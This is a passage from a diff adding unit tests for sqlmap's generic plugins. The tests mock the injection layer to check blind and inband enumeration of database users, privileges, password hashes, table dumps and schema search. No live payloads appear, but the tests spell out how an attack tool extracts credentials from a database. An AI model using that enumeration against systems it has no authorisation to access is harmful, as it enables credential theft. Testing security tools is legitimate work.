conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + +# --------------------------------------------------------------------------- # +# users.py +# --------------------------------------------------------------------------- # + +class _UsersBase(unittest.TestCase): + def setUp(self): + self._direct = conf.direct + self._technique = conf.technique + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + self._injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.technique = self._technique + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + kb.injection.data = self._injection_data + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestUsersPrivilegesInband(_UsersBase): + def test_privileges_pgsql_multiple_digit_columns(self): + # PostgreSQL: privilege columns are digit flags; a column index maps to + # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, + # leave the rest 0; assert exactly those two privileges are parsed and that + # "super" makes the user an admin. + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + ncols = max(PGSQL_PRIVS.keys()) + row = ["pguser"] + ["0"] * ncols + row[1] = "1" # createdb + row[2] = "1" # super + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) + self.assertIn("pguser", areAdmins) + + def test_privileges_mysql_lt5_yn_flags(self): + # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags + # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. + set_dbms("MySQL") + from lib.core.dicts import MYSQL_PRIVS + kb.data.has_information_schema = False + ncols = max(MYSQL_PRIVS.keys()) + row = ["root"] + ["N"] * ncols + row[1] = "Y" # select_priv + row[3] = "Y" # update_priv + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn(MYSQL_PRIVS[1], privileges["root"]) + self.assertIn(MYSQL_PRIVS[3], privileges["root"]) + self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) + + def test_privileges_firebird_letter_codes(self): + # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. + set_dbms("Firebird") + from lib.core.dicts import FIREBIRD_PRIVS + umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["fbuser"]), + {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) + + def test_privileges_db2_grant_codes(self): + # DB2: privilege string is ","; each 'Y'/'G' letter at + # position i appends the DB2_PRIVS[i] name to the privilege. + set_dbms("DB2") + from lib.core.dicts import DB2_PRIVS + conf.user = "db2admin" + # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> + # DB2_PRIVS[1] ("CONTROLAUTH") is appended. + umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + joined = " ".join(privileges["DB2ADMIN"]) + self.assertIn("DBADM", joined) + self.assertIn(DB2_PRIVS[1], joined) + + +class TestUsersPrivilegesInference(_UsersBase): + def test_privileges_inference_mysql(self): + # Blind privilege enumeration for a named user: count, then one privilege + # string per index. MySQL >= 5 adds each verbatim. + set_dbms("MySQL") + self._inference() + conf.user = "root" + privs = ["SELECT", "SUPER"] + umod.inject.getValue = _inference_gv(2, privs) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + # the user key is wildcard-wrapped for the MySQL information_schema LIKE + key = [k for k in privileges if "root" in k][0] + self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) + self.assertTrue(areAdmins) # SUPER => admin + + def test_privileges_inference_oracle(self): + set_dbms("Oracle") + self._inference() + conf.user = "system" + umod.inject.getValue = _inference_gv(1, ["DBA"]) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYSTEM", privileges) + self.assertEqual(privileges["SYSTEM"], ["DBA"]) + self.assertIn("SYSTEM", areAdmins) + + +class TestUsersPasswordHashesInference(_UsersBase): + def test_password_hashes_inference_grouping(self): + # Blind password-hash enumeration for two users: per-user count, then one + # hash per index. Assert each user maps to its own hash list. + set_dbms("MySQL") + self._inference() + conf.user = "root,guest" + + # per-user single hash; count is 1 for every user + hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" + for u, h in hashes.items(): + if u in query: + return [h] + return [None] + + umod.inject.getValue = gv + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*ROOTHASH"]) + self.assertEqual(res["guest"], ["*GUESTHASH"]) + + def test_password_hashes_inference_dedup(self): + # The same hash returned twice for a user must be de-duplicated at the end + # (kb.data.cachedUsersPasswords[user] = list(set(...))). + set_dbms("MySQL") + self._inference() + conf.user = "root" + umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*DUP"]) + + +class TestUsersGetUsersInference(_UsersBase): + def test_get_users_inference(self): + set_dbms("MySQL") + self._inference() + umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) + + def test_is_dba_mssql(self): + # MSSQL isDba goes through the generic checkBooleanExpression branch. + set_dbms("Microsoft SQL Server") + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.isDba = None + self.assertTrue(users.isDba()) + + +# --------------------------------------------------------------------------- # +# entries.py - inference (blind) dump path +# --------------------------------------------------------------------------- # + +class _RecordingDumper(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntries(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntries() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +# --------------------------------------------------------------------------- # +# search.py - inference (blind) paths +# --------------------------------------------------------------------------- # + +class _TestSearch(Search): + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('2', "='%s'") # exact match (colConsider '2') + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _RecDumper(object): + def __init__(self): + self.listed = [] + self.dbTablesArg = None + self.dbColumnsArg = None + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + +class _SearchBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "excludeSysDbs", + "exclude", "search") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = smod.inject.getValue + self._readInput = smod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_hintValue = kb.get("hintValue") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.dumper = _RecDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._gv + smod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.hintValue = self._saved_hintValue + kb.injection.data = self._saved_injection_data + + +class TestSearchInference(_SearchBase): + def test_search_db_inference(self): + # Blind searchDb: count of matching dbs, then one db name per index. + s = _TestSearch() + conf.db = "testdb" + smod.inject.getValue = _inference_gv(2, ["testdb", "testdb2"]) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(sorted(conf.dumper.listed[-1][1]), ["testdb", "testdb2"]) + + def test_search_db_inference_no_match(self): + # Count fails (non-numeric) => no databases appended, empty listing. + s = _TestSearch() + conf.db = "ghost" + smod.inject.getValue = lambda query, *a, **k: (None if k.get("expected") == EXPECTED.INT else self.fail("must not page when count fails")) + s.searchDb() + self.assertEqual(conf.dumper.listed[-1][1], []) + + def test_search_table_inference_grouped(self): + # Blind searchTable, no conf.db: outer count of dbs holding the table, then + # per-db a name, then per-db a count of matching tables, then table names. + s = _TestSearch() + conf.tbl = "users" + conf.db = None + + # Sequencing by the EXPECTED.INT counts + the per-index string results. + # 1st count: number of databases with the table -> 1 + # 1st db name -> "testdb" + # 2nd count: number of tables in testdb -> 1 + # table name -> "users" + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchTable() + self.assertEqual(conf.dumper.dbTablesArg, {"testdb": ["users"]}) + self.assertEqual(s.dumpFoundTablesCalls[-1], {"testdb": ["users"]}) + + def test_search_table_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 forces the bruteforce path; declining the prompt returns None + # without any injection. + s = _TestSearch() + conf.tbl = "users" + conf.db = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + self.assertIsNone(s.searchTable()) + + def test_search_column_inference(self): + # Blind searchColumn, no db/tbl: count of dbs with the column, then db name; + # then per-db count of tables with the column, then table name -> getColumns + # folds the column into dbs. + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + + seq = {"counts": ["1", "1"], "ci": 0, "vals": ["testdb", "users"], "vi": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + v = seq["counts"][seq["ci"] % len(seq["counts"])] + seq["ci"] += 1 + return v + v = seq["vals"][seq["vi"] % len(seq["vals"])] + seq["vi"] += 1 + return [v] + + smod.inject.getValue = gv + s.searchColumn() + dbs = conf.dumper.dbColumnsArg[2] + self.assertIn("testdb", dbs) + self.assertIn("users", dbs["testdb"]) + self.assertIn("password", dbs["testdb"]["users"]) + + def test_search_column_mysql_lt5_bruteforce_decline(self): + s = _TestSearch() + conf.col = "password" + conf.db = None + conf.tbl = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + # Declining returns None and never reaches dbColumns. + self.assertIsNone(s.searchColumn()) + self.assertIsNone(conf.dumper.dbColumnsArg) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_generic_more.py b/tests/test_generic_more.py new file mode 100644 index 000000000..00bcd0c8d --- /dev/null +++ b/tests/test_generic_more.py @@ -0,0 +1,873 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional unit tests for the generic plugin mixins, driving branches NOT already +covered by tests/test_search_enum.py / tests/test_databases_enum.py: + + * plugins/generic/entries.py - dumpTable column/table --exclude filtering, the + --where (conf.dumpWhere) query rewrite, disableHashing toggle, METADB suffix + db handling, the "no usable columns" / "missing columns" skip branches, and + dumpAll over multiple dbs/tables (dict and list shapes) plus dumpFoundTables / + dumpFoundColumn interactive flows. + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the + MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, + and sqlFile. + * plugins/generic/misc.py - getRemoteTempPath (posix / windows-direct / MSSQL + ErrorLog), getVersionFromBanner, delRemoteFile, createSupportTbl, likeOrExact. + * plugins/generic/takeover.py - the PURE helpers only: Takeover.__init__ table + naming and the regRead/regAdd/regDel/osBof/osSmb control flow with the process/ + network collaborators stubbed out (no metasploit/icmpsh/UDF spawning). + +The injection layer (lib.request.inject.{getValue,goStacked}) is patched per +module, conf.direct=True selects the simple inband branches, conf.batch=True keeps +prompts non-interactive, and conf.dumper is a recording stub. Every test restores +all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import DBMS, OS +from lib.core.settings import NULL + +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +import plugins.generic.takeover as tmod +from plugins.generic.entries import Entries +from plugins.generic.custom import Custom +from plugins.generic.misc import Miscellaneous + + +class _RecordingDumper(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +# --------------------------------------------------------------------------- # +# entries.py +# --------------------------------------------------------------------------- # + +class _TestEntries(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntries() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntries() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntries() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntries): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntries() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: 